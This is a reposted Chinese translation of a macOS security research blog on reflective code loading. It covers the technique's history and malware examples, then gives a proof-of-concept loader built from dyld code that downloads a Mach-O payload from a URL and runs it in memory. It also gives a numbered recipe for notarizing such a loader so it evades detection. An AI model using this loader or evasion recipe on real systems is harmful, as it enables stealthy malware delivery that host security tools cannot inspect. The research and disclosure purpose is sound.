在macOS上恢复反射注入(ReflectiveLoader)

admin 2024年12月20日09:14:08评论2 views字数 13514阅读45分2秒阅读模式

这项研究最初在#OBTS v7.0(https://objectivebythesea.org/v7/index.html)上提出。在这篇博客中,我们谈到了演讲中的一些主要亮点和要点,并提供了一个开源 PoC!

▪️ ppt:“ Mirror Mirror:在 macOS 上恢复反射代码加载(https://speakerdeck.com/patrickwardle/mirror-mirror-restoring-reflective-code-loading-on-macos

 开源概念验证:反射代码加载器(https://github.com/pwardle/ReflectiveLoader)

反射代码加载是一种强大的技术,经常被复杂的恶意软件(滥用)用来直接从内存中执行已编译的有效负载,从而绕过大多数检测。在 macOS 上,这曾经是小菜一碟,因为 Apple 加载器 API 本身支持此功能……直到 Apple 悄悄地重新设计了这些 API 以强制执行基于文件的加载,这一变化似乎被许多恶意软件作者忽视了!👀

在这篇博客中,我们将首先重新审视 macOS 上反射代码加载的传统方法,并研究已经利用(在某些情况下继续利用)这些现已过时且无效的方法的恶意软件的具体示例。

我们将详细介绍一种令人惊讶的简单方法,该方法利用 Apple 自己的加载器,确保反射代码加载仍然可以实现……即使在 macOS 15 上!

虽然这无疑对防御者构成了重大挑战,但请继续关注第二部分,其中将详细介绍一些旨在检测这种隐身能力的策略。

在我们深入探讨之前,我想强调一下之前关于这个主题的几项研究,这些研究是我们今天在这里介绍的新研究的基础。

▪️“反射代码加载”(https://redcanary.com/threat-detection-report/techniques/reflective-code-loading/)(Red Canary)

▪️“恢复 Dyld 内存加载”(https://blog.xpnsec.com/restoring-dyld-memory-loading/)(Adam Chester)

▪️“理解并防御 macOS 上的反射代码加载”(https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f)(Justin Bui)

背景

首先,让我们定义一下“反射代码加载”。在 MITRE 的 ATT&CK 框架中,它被指定为T1620(https://attack.mitre.org/techniques/T1620/),其定义如下:

反射[代码]加载涉及直接在进程的内存中分配然后执行有效负载,而不是创建由磁盘上的文件路径支持的线程或进程。

反射加载可能会逃避基于进程的检测,因为任意代码的执行可能会在合法或其他良性进程中被掩盖。将有效载荷直接反射加载到内存中还可以避免在磁盘上创建文件或其他工件,同时还使恶意软件能够将这些有效载荷保持加密(或以其他方式混淆)直到执行。

更简洁地说(也是我们今天特别关注的),是直接从内存中执行编译后的代码:

在macOS上恢复反射注入(ReflectiveLoader)
反射代码加载...定义并说明
其中包括以下几个关键点:

  • 有效载荷是编译后的二进制文件(相对于 shellcode)
  • 有效载荷永远不会写入磁盘,而是直接从远程服务器下载到内存中。(除非它是一个持久加密的有效载荷,是的,保存到磁盘,但随后仅在内存中解密)。

我们为什么还要关心反射代码加载?啊,好问题!好吧,归根结底,Apple 更关心隐私而不是安全。(我并不是说这本身是错误的,但正如我们所见,这确实有相当严重的副作用)。具体来说,出于隐私方面的考虑,Apple 不允许任何进程,甚至是受信任的安全工具,读取另一个进程的“远程”内存。这意味着,如果您是黑客,您的反射加载的有效负载不会受到任何(非内核模式)macOS 安全工具的攻击,因为这些工具基本上不知道其他进程在内存中做什么!

著名法医专家 Matt Suiche 简明扼要地阐述了这一点:

“macOS 上的内存扫描功能总体来说非常糟糕。但 macOS 取消 kext 肯定会使访问 [远程] 内存变得不可能...” -Matt Suiche

是的,内核扩展 (kexts) 可以读取任意进程的内存,包括反射加载的有效负载。然而,它们已被Apple完全弃用(基本上被废除),Apple 表示:

“不再推荐在 macOS 上使用 Kext。Kext 会危及操作系统的完整性和可靠性。用户应该选择不需要扩展内核的解决方案”
由于基于内存的扫描/检测方法在 macOS 上是被禁止的,因此安全工具(包括 macOS 自己的内置工具)主要是以文件系统为中心:

“macOS 文件系统受到端点检测和响应 (EDR) 工具、商业防病毒 (AV) 产品和 Apple 内置的 XProtect AV 的严格审查。

因此,当攻击者将已知的恶意二进制文件放在磁盘上时,该二进制文件会很快被检测到,并且通常会被阻止。”-Red Canary

因此,如果您是黑客或恶意软件作者(或红队成员),则应广泛使用反射加载的有效负载,因为 macOS 上的内存有效负载是不可见的,无法被捕获。如果您是防御者?呃,好吧……祝你好运!😓

在旧版本的 macOS 上,安全工具可以使用 Apple API(例如 task_for_pid 和 mach_vm_read)来访问远程进程内存……例如扫描和恢复反射加载的有效负载。然而,task_for_pid API 几乎完全受到限制,正如 Apple 指出的那样:

“task_for_pid 是一个安全漏洞……因此现代版本的 macOS……限制其使用”

磁盘上的二进制文件与内存中的“映像”……以及加载器

在我们继续之前,重要的是要了解磁盘上的二进制文件与内存中的“图像”之间的区别......因为这使得反射代码加载有些复杂(虽然我们的方法,详细介绍,我想说,相当简单和优雅!)

简而言之,磁盘上的编译二进制文件针对存储进行了优化。因此,它们的布局与相应的内存“映像”不同。此外,如果二进制文件具有依赖项(例如框架或动态库),则也必须加载这些依赖项。因此,不能简单地将文件复制到内存中并直接执行它!那么谁来处理这个相当复杂的任务?...链接器/加载器!

在macOS上恢复反射注入(ReflectiveLoader)

加载程序将二进制文件加载到内存中并准备执行
在 macOS 上,链接器/加载器是dyld。你可以用一整篇文章来介绍dyld,但这里我们只介绍基础知识,主要是为了指出准备二进制文件以供执行的复杂性。

简而言之,当用户(或系统)启动或执行二进制文件时dyld

  • 从磁盘读取二进制文件,并将其映射到内存中。
    (这还涉及对二进制文件的各个部分进行页面对齐,并设置适当的内存权限)
  • 应用重定位并解析所有符号(导入)。
    (此步骤将递归加载所有依赖项,例如主二进制文件所依赖的动态库,当然还有它们所依赖的所有库)。
  • 在最终将控制权转移到二进制文件的入口点之前执行所有初始化程序(构造函数)。

macOS 上反射代码加载的历史

现在让我们来看看 macOS 上反射代码加载的相当悠久的历史,它利用了一些专门为在内存中执行编译二进制文件而设计的 Apple API......有趣的是,这一切都始于 Apple 的一个示例项目!

2005 年,苹果发布了一个名为“ MemoryBasedBundle ” (https://developer.apple.com/library/archive/samplecode/MemoryBasedBundle/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003518)的示例项目,该项目“展示了如何从内存而不是从文件执行 Mach-O 代码”:

在macOS上恢复反射注入(ReflectiveLoader)

苹果的反射代码加载的示例代码!

管 Apple 的代码可以加载捆绑包(例如框架),但它同样适用于独立动态库(又名 dylib)。此外,所有已实现反射代码加载的公开恶意软件都使用了这些相同的 API。他们为什么不这样做呢?它使内存代码加载变得轻而易举!

该代码可在 OSX 10.3(2003 年发布)上运行,它引入了一组新的 API(NSCreateObjectFileImageFromMemory及朋友),原生支持反射代码加载。

在本文的下一部分中,我们将介绍此代码的技术细节,但现在只需了解旧版本的 macOS 本身支持反射代码加载。具体来说,可以简单地调用 macOS API(例如 NSCreateObjectFileImageFromMemory 和 NSLinkModule)直接从内存链接/加载二进制图像!

几年后的 2009 年,《Mac 黑客手册》问世。该书由 Charlie Miller 和 Dino Dai Zovi 编写,描述了一种基于 shellcode 的有效负载,它将调用 Apple 的 API(NSCreateObjectFileImageFromMemory和相关 API)直接从内存中加载二进制映像。换句话说,他们介绍了一种内存中(基于 shellcode)的内存加载器。太棒了!

在macOS上恢复反射注入(ReflectiveLoader)在macOS上恢复反射注入(ReflectiveLoader)
基于 Shellcode 的反射代码加载器(Mac Hacker 手册)
大约在同一时间,年轻得多的帕特里克正在创建利用反射代码加载的持久性 macOS 植入物:

在macOS上恢复反射注入(ReflectiveLoader)在macOS上恢复反射注入(ReflectiveLoader)

基于 Shellcode 的反射代码加载器(Mac Hacker 手册)
正如 2009 年演示文稿中的图片和植入源代码片段所示,植入的持久组件(又称加载器)将首先解密内存中的植入模块,然后使用 Apple 反射代码加载 API 来链接和加载它们。这确保了尽管某些有效载荷确实持久存在于文件系统中,但它们仅在内存中被解密(并通过反射加载)。

2017 年左右,公开的 macOS 恶意软件终于加入了这一行列。......从那时起(如Red Canary 报告中的表格所示),就变得相当热衷于(滥用)使用支持反射代码加载的 macOS API:

在macOS上恢复反射注入(ReflectiveLoader)在macOS上恢复反射注入(ReflectiveLoader)

2017 年左右,公共恶意软件开始实施反射代码加载(来源:Red Canary)
现在让我们简单看一下我之前分析过的该列表中的两个恶意软件样本:AppleJeus 和 EvilQuest。

苹果耶稣

在一篇题为“ Lazarus Group 走向‘无文件’”的博客文章中,我详细介绍了疑似朝鲜黑客利用反射代码加载 macOS 恶意软件样本“AppleJeus”的情况。如幻灯片截图所示,通过查看恶意软件的反编译,我们可以看到,核心逻辑是在一个函数中实现的,该函数的名称相当贴切memory_exec2

在macOS上恢复反射注入(ReflectiveLoader)在macOS上恢复反射注入(ReflectiveLoader)

AppleJeus 的反射代码加载
这并不奇怪,他们只是调用了 macOS NSCreateObjectFileImageFromMemory(和其他)的 API 来为他们执行反射代码加载。

也许更有趣的是,在撰写有关此恶意软件的第二篇博客文章时(我出现是为了将其武器化以执行我们自己的内存有效负载),我注意到反射代码加载代码实际上并不是原始的。

2017 年,Cylance 发表了一篇博客文章,标题为“在 macOS 上从内存运行可执行文件”。尽管 macOS 上的内存代码执行主题之前已经讨论过(如博客文章中所述),但该文章对该主题进行了全面的技术深入研究,更重要的是提供了一个包含执行内存加载代码的开源项目:“ osx_runbin ”。

研究人员(Stephanie Archibald)也在一次渗透演讲中介绍了这项研究(以及更多内容!):

如果我们比较 Cylance 的osx_runbin代码,很容易发现 Lazarus 组织恶意软件中的内存加载器代码几乎 100% 相同:

在macOS上恢复反射注入(ReflectiveLoader)

在macOS上恢复反射注入(ReflectiveLoader)

AppleJeus 的反射代码加载...受到 Cylance 的启发?
……换句话说,Lazarus 组织的程序员只是利用(复制/窃取)现有的开源osx_runbin代码,为他们的加载器提供高级隐身和反取证功能。谁能责怪他们呢?巧干,不苦干,对吧!?😅

邪恶任务

另一个最近的 macOS 恶意软件样本是 EvilQuest,它能够直接从内存中执行已编译的有效负载:

在macOS上恢复反射注入(ReflectiveLoader)

在macOS上恢复反射注入(ReflectiveLoader)

EvilQuest 的反射代码加载...受到 Apple 的启发?
如果我们看一下反汇编代码(如果你以前听说过,请阻止我),我们可以看到它只是利用了 macOS 众所周知的反射代码加载 API。而且,它再次受到开源示例的“启发”……特别是 Apple 的“MemoryBasedBundle”项目。而且,当然,为什么不直接复制现有代码呢?恶意软件作者本身就是(有时很懒惰的)软件工程师!

您可以在《Mac 恶意软件的艺术(第一卷)》第 10 章和11 章中阅读有关 EvilQuest 的所有内容......是的,可以在线免费获取!

最后,我想简单提一下 Gauss,这是一种复杂的 (Windows) 恶意软件样本,它利用持久的、环境加密的有效载荷,这些载荷仅在内存中解密……然后反射加载。这种恶意软件值得注意,因为其有效载荷虽然最终被恶意软件分析师捕获,但至今从未加密过!🤯

“最有趣的谜团是高斯加密弹头 [环境加密的有效载荷]。尽管我们尽了最大努力,但我们无法破解加密。” -卡巴斯基 (2012)

尽管该恶意软件编写得很好,但某些版本仍留下了一些字符串,例如loader.cpp引用其反射代码加载功能(一旦在内存中解密,就会加载有效载荷)。

您可以在以下位置阅读有关 Gauss 及其加密有效载荷的所有内容:

 

加密高斯有效载荷的秘密”。

 

正如我们注意到的,Gauss 的有效载荷使用“环境生成的密钥”进行加密,这就是它能够抵抗解密的原因(除了在其密钥所在的系统上)。一旦此类有效载荷在内存中被解密,反射加载器就会开始发挥作用,准备直接从内存中执行它们。

有趣的是(与高斯无关!)国家安全局拥有一项专利(授予我本人),名为“生成环境加密密钥的方法”🫣

在macOS上恢复反射注入(ReflectiveLoader)

在macOS上恢复反射注入(ReflectiveLoader)

生成环境加密密钥的方法
现在让我们来探究一下在 macOS 上如何实现反射代码加载。

macOS(以前版本)上的反射代码加载

2003 年,随着 OSX 10.3 的发布,Apple 提供了用于执行反射代码加载的 API!从那时起,所有支持在内存中加载已编译有效负载的恶意软件都只是使用这些 API……为什么不呢?(编写自己的加载器会花费更多的工作量)。

在这篇博文的这一部分,让我们更深入地了解 Apple 的示例“MemoryBasedBundle”项目,以准确展示如何简单地利用这些 API 来获得反射代码加载。

  1. 将有效负载读入内存。第一步是将编译后的二进制文件(您想要反射加载的二进制文件)放入内存中。这可以像从远程服务器下载一样简单:
    1NSURL* url= [NSURL URLWithString:<some server>];2NSData* data= [NSData dataWithContentsOfURL:url];

    或者(就像 Gauss 的情况一样),可以将加密的有效载荷读入内存,然后解密。(请注意,当反射代码加载 API 调用时vm_deallocate,您应该将有效载荷复制到已通过分配的内存缓冲区中vm_allocate)。

  2. 加载并链接有效载荷。 接下来,通过调用API初始化一个对象。然后将其传递给API(连同有效载荷的名称): NSObjectFileImageNSCreateObjectFileImageFromMemoryNSLinkModule
    1NSObjectFileImage ofi=0;2NSCreateObjectFileImageFromMemory(buffer, fileSize,&ofi);3NSModule module= NSLinkModule(ofi,"[Memory Based Bundle]", NSLINKMODULE_OPTION_PRIVATE);
  3. 解析并调用有效负载中的导出。既然有效负载已被反射加载,您可以通过NSLookupSymbolInModuleNSAddressOfSymbolAPI 解析符号(例如导出函数的符号)。然后,您可以调用它。在这里,假设我们的有效负载导出一个名为的函数entryPoint,该函数需要一个参数(它只是打印出来的字符串):
    1typedefvoid (*EntryPoint)(constchar*message);2NSSymbol symbol= NSLookupSymbolInModule(module,"_""entryPoint");34EntryPoint entry= NSAddressOfSymbol(symbol);56entry("Hello (reflectively loaded) World!");

如果您的有效载荷实现了构造函数(例如通过_attribute _ ((constructor))),则该构造函数将在有效载荷加载后立即自动执行。因此,解析和调用导出的最后一步可能是多余的。

好了,就是这样!由于 macOS 本身支持反射代码加载,恶意软件(或任何其他人)可以简单地调用 Apple 提供的 API 直接从内存加载已编译的有效负载……非常简单!

…直到!

一切都很顺利,直到 Apple 发布了 3.0 版dyld。Apple 悄无声息地更改了NSLinkModuleAPI:

具体来说,NSLinkModule现在总是将任何内存中的有效负载写入磁盘,强制它们作为“正常”文件支持的二进制文件加载:

1NSModuleNSLinkModule(...) {2//if this is memory based image3// write to temp file, then use file based loading4if(image.memSource!= nullptr ) {5 ...6char tempFileName[PATH_MAX];7constchar* tmpDir=getenv("TMPDIR");8strlcpy(tempFileName, tmpDir, PATH_MAX);9strlcat(tempFileName,"NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);10int fd=::mkstemp(tempFileName);11pwrite(fd, image.memSource, image.memLength,0);12 image.path=strdup(tempFileName);13}

正如我们在上面的代码中看到的,文件的名称始终以 开头NSCreateObjectFileImageFromMemory-XXXXXXXX,并且将存储在一个目录中,该目录的值取自该TMPDIR目录。

让我们使用 Apple 的“ MemoryBasedBundle ”项目来确认这一点……在最新版本的 macOS 上执行。

首先,我们可以看到,如果我们创建有效载荷(以前可以通过反射加载),一旦加载,它在文件系统上就有了一个路径,它能够打印出自身:

% ./MemoryBasedBundle -nsmem Bundle.bundleHello(反射加载)World!...来自 NSCreateObjectFileImageFromMemory路径:/private/var/folders/b0/60435j5n6q79zs30z5qgbqcm0000gn/T/NSCreateObjectFileImageFromMemory-RbwLdxjP

此外,如果我们执行文件监视器,我们可以看到MemoryBasedBundle在执行之前确实将有效载荷保存到磁盘:

#FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter MemoryBasedBundle{“事件”:“ES_EVENT_TYPE_NOTIFY_CREATE”,“文件”:{“目的地”:“/ private / var / folders / b0 / 60435j5n6q79zs30z5qgbqcm0000gn / T / NSCreateObjectFileImageFromMemory-RbwLdxjP”,“进程”:“MemoryBasedBundle”}}{“事件”:“ES_EVENT_TYPE_NOTIFY_WRITE”,“文件”:{“目的地”: “/private/var/folders/b0/60435j5n6q79zs30z5qgbqcm0000gn/T/NSCreateObjectFileImageFromMemory-RbwLdxjP”,“进程”:“MemoryBasedBundle”}}

那么这是否意味着 Apple 终止了反射代码加载?

是的,通过他们的 API。

在 macOS 上恢复反射代码加载

Apple 删除了他们的反射代码加载 API,这样之前只能写入内存的有效负载现在都被写入磁盘了。😓

但不用担心,我们将展示一种非常简单的方法来恢复它!不过首先我想强调一下关于这个主题的其他研究。

最近,Adam Chester 就这个主题发表了一篇由多部分组成的博客文章!标题为“恢复 Dyld 内存加载”,它介绍了修补加载器和实现自己的加载器等方法。这是一篇很棒的、内容丰富的文章,确实描述了在一定程度上恢复 macOS 上的反射代码加载的方法。

然而,我受到启发,找到了一种替代方法,它比修补加载程序更强大,也比编写自己的加载程序更简单。

在我的幻灯片中,我还谈到了其他(新颖的?)方法,例如将 TMPDIR 设置为 RAM 磁盘,这可以确保当 Apple 的 API“写出”有效负载时,它会写入 RAM 磁盘,因此永远不会触及文件系统。

然而,这也有一些缺点,例如,仍然会生成(端点安全)文件事件,并且 RAM 磁盘上的有效负载可全局访问……因此可以被安全工具读取(和收集)。

是的(幻灯片中也提到),虽然我们可以采取一些技巧来避免安全工具可以并且确实会查找的硬编码文件名前缀(NSCreateObjectFileImageFromMemory-XXXXXXXX),但这种方法并不是很理想。

首先,让我们重申我们的目标:在 macOS 上恢复反射代码加载(无需编写自己的加载器)。

现在,如果我们退一步思考一下,虽然 Apple 的高级 API 不再支持反射代码加载,但在底层,加载器 ( dyld) 在某些时候会 (仍然) 获取已读入内存的二进制文件,并执行所有必要的加载和链接操作。而且由于 Apple 的加载器是开源的,我们能否直接将 Apple 加载器代码的这一部分编译到我们自己的加载器中,从而恢复反射代码加载?……剧透,当然可以!

现在 Apple 的加载器已经很庞大了……而且不容易编译。不过,我在 GitHub 上偶然发现了一个项目(“自定义 Mach-O 图像加载器”),该项目采用了 Apple 加载器的核心并使其可编译。虽然该项目的目标与反射代码加载无关,但它提供了非常有用的功能!

让我们从最终的代码开始,它显示了相关的 Appledyld代码(我们已将其直接编译到自定义库中)。我们将其添加到名为的函数中custom_dlopen_from_memory。它需要一个指向已读入内存(例如从远程服务器下载到内存)的已编译 mach-O 二进制有效载荷的指针,以及有效载荷的长度。

1extern"C"void* custom_dlopen_from_memory(void* mh,int len) {23//load4constchar* path="foobar";5auto image=6 ImageLoaderMachO::instantiateFromMemory(path, (macho_header*)mh, len, g_linkContext);78//link9 std::vector<constchar*> rpaths;10 ImageLoader::RPathChain loaderRPaths(NULL,&rpaths);11 image->link(g_linkContext, true, false, false, loaderRPaths, path);1213//execute initializers (i.e. constructors)14 ImageLoader::InitializerTimingList initializerTimes[1];15 initializerTimes[0].count=0;16 image->runInitializers(g_linkContext, initializerTimes[0]);1718return image;19}

是的,在 macOS 15 上,反射代码加载只需不到二十行代码。太棒了!

首先,我们调用dyldImageLoaderMachO::instantiateFromMemory方法,该方法接受有效负载并返回指向 的指针ImageLoader。我实际上不知道对象ImageLoader是什么,但好消息是我们真的不需要知道。从某种意义上说, 的内部结构dyld无关紧要!

其次,使用初始化的ImageLoader对象,我们可以通过调用该对象的恰当命名的方法来链接我们的内存有效负载link

最后,我们调用ImageLoader对象的runInitializers方法,它将执行任何初始化程序,例如我们的有效负载的构造函数。

让我们调用我们的custom_dlopen_from_memory函数,以确保它确实有效!这里有一些非常简单的代码,它将编译后的有效负载从远程服务器下载到内存中,然后调用此函数来加载并执行它:

1intmain(int argc,constchar* argv[]) {23 NSURL* url= [NSURL URLWithString:[NSString stringWithUTF8String:argv[1]]];4 NSData* data= [NSData dataWithContentsOfURL:url];56 custom_dlopen_from_memory((void*)data.bytes, (int)data.length);78}

编译后(添加一些额外的打印语句),我们运行它:

% ./customLoader https://file.io/PX4HVdOlgANO已将 https://file.io/PX4HVdOlgANO 下载到内存正在加载...Mach-O 加载至 0x6000021d8000正在链接...调用初始化程序...“Hello (反射加载) World!”

所以它起作用了!但它真的具有反射性吗?为什么是的!如果我们(重新)运行文件监视器(与确认 Apple 的高级 API 现在将有效负载写入磁盘的方式相同),我们可以看到没有生成文件事件:

#FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter customLoader | grep “ES_EVENT_TYPE_NOTIFY_CREATE”

但是强化运行时又如何呢?

首先,好消息是。对于黑客和那些将反射代码加载用于攻击目的的人(不作评判!),请注意“强化运行时”仍然是可选的。macOS 很乐意运行未使用强化运行时编译的程序。

不太好的消息是,如果你想让你的反射代码加载器得到公证,在编译时你必须选择加入强化运行时(因为这是公证的强制性要求)。这会破坏我们的反射代码加载,因为强化运行时要求任何执行的代码都必须经过签名:

在macOS上恢复反射注入(ReflectiveLoader)

在macOS上恢复反射注入(ReflectiveLoader)

强化运行时(公证所需)强制执行签名的代码。
在上面的幻灯片中,请注意,一旦我们启用了强化运行时,尽管有效载荷仍处于加载状态,但只要我们去执行它,macOS 就会终止我们,并生成带有“ Code Signature Invalid”异常的崩溃报告。尽管有人可能认为对有效载荷进行签名(例如使用您的 Apple 开发者 ID)会起作用,但似乎行不通……因为为了检查某些内容是否已签名(并且未被篡改),macOS 需要磁盘上的二进制映像。因此,对于“仅限内存”的有效载荷,我们必须添加例外授权。

为了选择加入强化运行时(例如,提交我们的加载器进行公证),但保留反射代码加载功能,我们可以使用com.apple.security.cs.allow-unsigned-executable-memorycom.apple.security.cs.disable-executable-page-protection异常权利:

在macOS上恢复反射注入(ReflectiveLoader)

在macOS上恢复反射注入(ReflectiveLoader)

异常权利确保反射代码加载得以维持...即使启用了强化运行时。
在 Xcode 中编译代码时添加这些权利很简单,正如我们所见,虽然我们选择了强化运行时(参见:)flags=0x10000(runtime),但由于异常权利,我们的反射代码加载(仍然)很好用!

如果您需要用户交互才能首次执行二进制文件,那么最好对其进行公证。目前,Apple 会对非恶意软件进行公证(而且在很多情况下,Cupertino 也会无意中对恶意软件进行公证)。

加载程序只是下载并执行额外的有效载荷,本身并不具有恶意,因此 Apple 会对其进行公证。更好的是,即使 Apple 决定撤销公证(例如,如果他们观察到加载程序反射性地加载恶意有效载荷),尽管他们确实拥有加载程序二进制文件(因为您已将其提交给他们进行公证),但有效载荷必须以其他方式恢复!而且,回顾 Gauss,如果您利用利用环境生成密钥的加密保护方案,您的有效载荷可能会受到保护……永远!?

哦,再重申一下,如果你编译的有效载荷是反射加载的,则不必公证,或者实际上根本不需要签名(感谢例外权利)。

所以,如果你是黑客或恶意软件作者,不要太过分!相反:

  1. 停止使用以前提供反射代码加载功能的 macOS API(例如NSCreateObjectFileImageFromMemory和朋友),因为它们会将您的有效负载保存到磁盘和可预测、可签名的位置!
  2. 创建一个简单的加载器,dyld其中编译了代码。
  3. 启用“强化运行时”(具有例外权利),然后提交公证。
  4. 然后,一旦你的加载器被“部署”到远程系统(这部分由你决定!),那么,只需下载并反射式地加载你的(真实)有效载荷到你的心中,知道这不仅极难检测到,但更重要的是,你的有效载荷不能被任何基于主机的(非内核模式)安全工具从你的加载器的内存中提取!🤯

…如果你是一名捍卫者,该怎么办?请继续关注第二部分,但由于 Apple 以隐私为中心的世界观,你的选择相当有限。🫤

PoC

我已将开源内容证明上传至 GitHub:https://github.com/pwardle/ReflectiveLoader

该 PoC 是一个 Xcode 项目,由三部分组成:

  1. 自定义加载器基于“自定义 Mach-O 图像加载器”项目,我对其进行了扩展,以支持内存中有效负载的反射加载(通过实现和公开一个custom_dlopen_from_memory函数)。您应该通过以下方式编译它cmake(它不会通过 Xcode 编译!):
    % cd 构建% cmake..% make

    这将创建一个库libloader.a(导出一个custom_dlopen_from_memory函数),您可以将其链接到您自己的程序中以提供反射代码加载!

  2. 示例(反射)有效负载这是反射有效负载的一个简单示例。请注意,其“最低部署”设置为 macOS 11,以确保其构建无需LC_DYLD_CHAINED_FIXUPS(加载器库尚不支持)。如果您创建自己的有效负载,请确保其构建方式类似。不,有效负载不需要签名或公证!它包含一个构造函数__attribute__((constructor)),当有效负载被反射加载时,该构造函数将自动执行。
  3. 命令行二进制文件 ( PoC)这是一个简单的命令行 PoC,它链接到反射加载器库 ( libloader.a) 并通过调用custom_dlopen_from_memory函数从内存中反射加载有效负载。从命令行执行时,它期望远程或本地有效负载(下载)并执行:
% ./PoC https://file.io/IAKV6NC6JDC8macOS 反射代码加载器[+] 正在从远程 URL 下载...有效载荷现在位于内存中(大小:68528),准备好加载/链接...按任意键继续...dyld: 'ImageLoaderMachO::instantiateFromMemory' 已完成(图像地址:0x600000378180)dyld: 'image->link' 已完成[内存有效载荷] 你好(反射加载)世界![内存有效载荷] 我已加载到:0x10b290000dyld: 'image->runInitializers' 已完成 完成按任意键退出...

不想构建任何东西?在 Distribute/ 文件夹中,您将找到预构建的二进制文件,包括 PoC 和示例有效负载 (libpayload.dylib)。...两者都已在 macOS 15 上编译/测试。

结论

今天,我们深入研究了 macOS 上的反射代码加载。在提供了相当详尽的历史分析后,我们强调,Apple 最近决定删除其 API,从而有效地阻止此类加载……至少在 API 级别。

不用担心,我们展示了如何简单地将 Apple 的加载器代码合并到您自己的加载器中,以便轻松恢复反射代码,即使在 macOS 15 上也是如此!

原文:

https://objective-see.org/blog/blog_0x7C.html

原文始发于微信公众号(安全狗的自我修养):在macOS上恢复反射注入(ReflectiveLoader)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月20日09:14:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在macOS上恢复反射注入(ReflectiveLoader)https://cn-sec.com/archives/3531533.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息